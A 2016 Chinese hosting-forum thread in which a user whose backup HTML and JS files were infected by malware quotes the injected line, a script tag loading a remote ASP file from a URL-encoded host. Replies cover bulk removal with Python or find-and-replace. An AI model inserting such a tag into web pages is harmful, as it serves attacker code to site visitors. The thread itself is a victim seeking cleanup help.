全球主机交流论坛

标题: 一不小心就中毒了，奶奶的HTML、JS全都被上马了，好阴险 [打印本页]

作者: lsza 时间: 2016-8-14 17:50
标题: 一不小心就中毒了，奶奶的HTML、JS全都被上马了，好阴险

给客户一机器装完驱动后，我把移动硬盘**机器上找个东西，结果打开一个EXE没反应，心里瞬间哇凉，直接按电源键强关机，进另一个系统，用数字查杀病毒1K多的HTML和js都被改了

这些html和js都是备份的文件，没有什么重要的，如果是重要的被传到网站上不敢想象后果...

所有的js和HTML最后都加上了一行

<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

复制代码

解密后是：

复制代码

请问各位MJJ 这些挂了的文档怎么批量删除这行东西？用Notepad++批量替换还是有更好的办法？

作者: Kvm 时间: 2016-8-14 17:53
看到你的签名我决定做一个围观的吃瓜群众。

作者: lsza 时间: 2016-8-14 17:57

Kvm 发表于 2016-8-14 17:53
看到你的签名我决定做一个围观的吃瓜群众。

K肿我错了

作者: filtme 时间: 2016-8-14 18:01
用python写一个批量替换几分钟搞定

作者: filtme 时间: 2016-8-14 18:02
各种好用的文件编辑器也有这功能，指定文件夹全部替换或者替换所有一打开文件夹。
要更好用就自己写一个替换脚本

作者: almostsir 时间: 2016-8-14 18:02

Kvm 发表于 2016-8-14 17:53
看到你的签名我决定做一个围观的吃瓜群众。

用了我的短网址后，你的签名可以更长。

作者: lsza 时间: 2016-8-14 18:04

filtme 发表于 2016-8-14 18:01
用python写一个批量替换几分钟搞定

已经解决了，看着那些文件基本上是玩PHPwind剩下的玩意，都删了

作者: Kvm 时间: 2016-8-14 18:13

almostsir 发表于 2016-8-14 18:02
用了我的短网址后，你的签名可以更长。

你一直都很短。。。。。。。。

作者: 孤单月色 时间: 2016-8-14 19:21
提示: 作者被禁止或删除内容自动屏蔽

作者: 跳帧 时间: 2016-8-14 20:01
提示: 作者被禁止或删除内容自动屏蔽

作者: 蓝色幽影 时间: 2016-8-14 20:17
围观楼上老司机

作者: wang765 时间: 2016-8-14 21:25
测试了下，这个域名/ip被中国强了，应该影响不了中国用户

欢迎光临全球主机交流论坛 (https://sunk.eu.org/)